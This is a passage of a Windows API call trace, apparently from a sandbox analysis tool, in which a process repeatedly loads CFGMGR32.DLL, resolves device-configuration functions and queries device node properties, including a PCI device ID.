0x7ffa786e16a0 [0227.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.899] malloc (_Size=0x18) returned 0x196ef0d1da0 [0227.899] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x2, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0227.900] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0227.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x68b13ff1, dwHighDateTime=0x1d9eb0c)) [0227.900] SetEvent (hEvent=0x248) returned 1 [0227.960] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.960] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.963] malloc (_Size=0x18) returned 0x196ef0d19a0 [0227.963] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x2, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0227.964] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0227.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x68baca5f, dwHighDateTime=0x1d9eb0c)) [0227.964] SetEvent (hEvent=0x248) returned 1 [0227.968] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.968] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.971] malloc (_Size=0x18) returned 0x196ef0d1f20 [0227.971] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0227.972] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0227.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68bd304c, dwHighDateTime=0x1d9eb0c)) [0227.972] SetEvent (hEvent=0x248) returned 1 [0227.977] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.977] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.980] malloc (_Size=0x18) returned 0x196ef0d20e0 [0227.980] CM_Get_Device_IDA (in: dnDevInst=0x2c, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2922&SUBSYS_11001AF4&REV_02\\3&11583659&0&FA") returned 0x0 [0227.980] malloc (_Size=0x48) returned 0x196ef0fc120 [0227.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x68bd304c, dwHighDateTime=0x1d9eb0c)) [0227.981] SetEvent (hEvent=0x248) returned 1 [0227.984] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.984] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.987] malloc (_Size=0x18) returned 0x196ef0d1de0 [0227.987] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0227.988] malloc (_Size=0x124) returned 0x196ef0d67b0 [0227.988] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0227.989] free (_Block=0x196ef0d67b0) [0227.989] malloc (_Size=0x48) returned 0x196ef0fbb30 [0227.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x68bf933c, dwHighDateTime=0x1d9eb0c)) [0227.989] SetEvent (hEvent=0x248) returned 1 [0227.992] malloc (_Size=0x18) returned 0x196ef0d1e60 [0227.992] SafeArrayPutElement (psa=0x196ef1f2cb0, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0227.992] free (_Block=0x196ef0d1e60) [0227.992] malloc (_Size=0x18) returned 0x196ef0d1c40 [0227.992] SafeArrayPutElement (psa=0x196ef1f2cb0, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0227.992] free (_Block=0x196ef0d1c40) [0227.992] malloc (_Size=0x18) returned 0x196ef0d1960 [0227.992] SafeArrayPutElement (psa=0x196ef1f2cb0, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0227.992] free (_Block=0x196ef0d1960) [0227.992] malloc (_Size=0x18) returned 0x196ef0d2040 [0227.993] SafeArrayPutElement (psa=0x196ef1f2cb0, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0227.993] free (_Block=0x196ef0d2040) [0227.993] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0227.993] SafeArrayGetDim (psa=0x196ef1f2cb0) returned 0x1 [0227.993] SafeArrayGetLBound (in: psa=0x196ef1f2cb0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0227.993] SafeArrayGetUBound (in: psa=0x196ef1f2cb0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0227.993] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8f0 [0227.993] SafeArrayGetDim (psa=0x196ef1f2cb0) returned 0x1 [0227.993] SafeArrayGetUBound (in: psa=0x196ef1f2cb0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0227.993] SafeArrayGetElemsize (psa=0x196ef1f2cb0) returned 0x8 [0227.993] SafeArrayGetElement (in: psa=0x196ef1f2cb0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0227.994] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa8c0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.994] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa8c8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.994] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa8d0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.994] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa8d8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.995] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8f0) returned 1 [0227.995] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0227.996] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.996] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.999] malloc (_Size=0x18) returned 0x196ef0d1d60 [0227.999] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0227.999] malloc (_Size=0x10e) returned 0x196ef0d67b0 [0227.999] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0228.000] free (_Block=0x196ef0d67b0) [0228.050] malloc (_Size=0x48) returned 0x196ef0fc120 [0228.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x68c9191e, dwHighDateTime=0x1d9eb0c)) [0228.050] SetEvent (hEvent=0x248) returned 1 [0228.054] malloc (_Size=0x18) returned 0x196ef0d1da0 [0228.054] SafeArrayPutElement (psa=0x196ef1f2e30, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0228.054] free (_Block=0x196ef0d1da0) [0228.054] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0228.055] SafeArrayPutElement (psa=0x196ef1f2e30, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0228.055] free (_Block=0x196ef0d1fa0) [0228.055] malloc (_Size=0x18) returned 0x196ef0d2000 [0228.055] SafeArrayPutElement (psa=0x196ef1f2e30, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0228.055] free (_Block=0x196ef0d2000) [0228.055] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0228.055] SafeArrayPutElement (psa=0x196ef1f2e30, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0228.055] free (_Block=0x196ef0d1ba0) [0228.055] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0228.055] SafeArrayPutElement (psa=0x196ef1f2e30, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0228.056] free (_Block=0x196ef0d1fa0) [0228.056] malloc (_Size=0x18) returned 0x196ef0d1e60 [0228.056] SafeArrayPutElement (psa=0x196ef1f2e30, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0228.056] free (_Block=0x196ef0d1e60) [0228.056] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0228.056] SafeArrayPutElement (psa=0x196ef1f2e30, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0228.056] free (_Block=0x196ef0d1ac0) [0228.056] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855860 [0228.056] SafeArrayGetDim (psa=0x196ef1f2e30) returned 0x1 [0228.056] SafeArrayGetLBound (in: psa=0x196ef1f2e30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0228.056] SafeArrayGetUBound (in: psa=0x196ef1f2e30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0228.056] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0228.056] SafeArrayGetDim (psa=0x196ef1f2e30) returned 0x1 [0228.056] SafeArrayGetUBound (in: psa=0x196ef1f2e30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0228.056] SafeArrayGetElemsize (psa=0x196ef1f2e30) returned 0x8 [0228.057] SafeArrayGetElement (in: psa=0x196ef1f2e30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0228.057] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2420, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0228.057] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2428, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0228.057] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2430, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0228.058] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2438, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0228.058] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2440, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0228.058] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2448, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0228.058] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2450, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0228.059] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0228.059] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855860) returned 1 [0228.059] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.059] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.060] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.060] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.060] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.060] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.060] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.060] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.060] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.061] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.061] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.061] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.061] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.061] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.061] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.061] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.062] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.062] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.062] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.062] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.062] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.062] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.063] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.063] malloc (_Size=0x18) returned 0x196ef0d1980 [0228.063] CM_Get_DevNode_Registry_PropertyW (in: 